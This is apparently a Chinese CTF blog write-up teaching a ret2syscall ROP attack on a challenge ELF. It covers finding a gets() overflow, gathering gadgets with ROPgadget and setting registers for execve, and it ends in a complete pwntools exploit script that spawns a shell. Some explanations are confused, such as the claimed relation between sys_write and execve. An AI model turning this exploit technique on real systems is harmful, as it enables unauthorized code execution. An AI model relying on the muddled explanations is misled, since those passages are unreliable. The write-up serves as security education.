pwn基础>>Basic ROP>>ret2syscall
今天学了一手基础ROP中的ret2syscall,拿了道题练手。话不多说,先来看看如何复现
首先,打开题目,发现目录下的可执行elf文件。
拖到虚拟机中,使用checksec指令查看文件保护属性
可以看出没有栈溢出与PIE保护,意味着该程序代码段的地址为静态,不需要动态获取段地址,且可以进行栈溢出攻击接着拖进IDA分析伪代码,先找到main函数。
可以看见main函数下有俩个函数,一个是initt(args, argv, envp),一个是pwnn(),前者是linux内核系统必需的用户级进程,与本题ret2syscall关系不大,不做分析,直接进入pwnn()。
发现一个gets函数,通过对程序的保护属性分析,我们知道没有栈溢出保护,发现可以利用一下gets函数来实现栈溢出攻击,通过任意写返回地址来进行ROP链最开始的一环。
接着开始构思如何构建ROP链,已知我们的核心目的是通过syscall系统调用来获取shell。
因此,我们需要构建一个通过syscall调用execve(内核级系统调用函数,在这里作用同system())来获取shell的ROP链。
利用工具ROPgadget,来查看当前程序存在的可利用ROP代码片段,指令为 ROPgadget --binary <文件名> --only "pop|ret"
使用指令后,出现了一堆pop|ret代码片段的地址。现在不知道需要用到哪些地址,因此得先得思考我们需要调用的核心函数,再考虑如何构建ROP链。
*
核心函数为:syscall: sys_write(signed __int64 (__usercall *)@<rax>(unsigned int@<edi>, const char *@<rsi>, size_t@<rdx>))与execve(char *pathname,char *argv[],char *envp[]),
这两个函数的关系为前者调用后者。
接下来,需要分析他使用了哪些寄存器传参,我们知道,64位的常规函数调用约定需要依次使用rdi,rsi, rdx, rcx, r8, r9等寄存器来传递参数
execve(char *pathname,char *argv[],char *envp[])需要传递3个参数,我们只需要控制第一个即可,可知需要控制寄存器rdi的值,获取并控制shell的路径参数值"/bin/sh",这个参数值在程序静态编译的阶段会被读取,因此可以通过IDA从当前程序中检索关键字“shell”,将其找出来;
而sys_write(signed __int64 (__usercall *)@<rax>(unsigned int@<edi>, const char *@<rsi>, size_t@<rdx>))需要4个参数,但它比较特殊,属于内核系统级调用函数,第一个参数是系统调用号,通过rax来传递,调用execve函数就是通过控制这个参数(剩余其他3个参数与常规函数调用一致,分别是通过rdi,rsi,rdx来传递的,可以省略不用管)。
汇总一下需要控制的寄存器,rdi,rsi,rdx,rax。到这里我们已经知道需要选取出相关的pop|ret片段地址,如下图
开始构建payload和exp
1 from pwn import * 2 3 mode = 0 4 url = "127.0.0.1" 5 port = "8080" 6 7 pop_rax_rdx_rbx_ret=0x478a76 8 pop_rdi_ret=0x401676 9 pop_rsi_ret=0x401797 10 binsh_addr=0x4A15A4 11 syscall_addr=0x4003da#可通过IDA检索出,64位关键词为"sys_write" 12 13 payload="A"*0x18+p64(pop_rdi_ret)+p64(binsh_addr) #stackoverflow & rdi=binsh_addr 14 payload+=p64(pop_rsi_ret)+p64(0) #rsi=0 15 payload+=p64(pop_rax_rdx_rbx_ret)+p64(59)+p64(0)+p64(0)# rax=59:execve的系统调用号,64位为59,32位为11; rdx=0 16 payload+=p64(syscall_addr) #execve("/bin/sh",0,0) 17 18 #local 19 if mode == 0: 20 p = process("./poc") 21 #gdb.attach(p,"b * main) 22 p.sendlineafter("you show syscall?\n",payload) 23 p.interactive() 24 #remote 25 else: 26 p = remote(url,port) 27 p.sendlineafter("you show syscall?\n",payload) 28 p.interactive()
最后直接运行exp, 成功打穿本地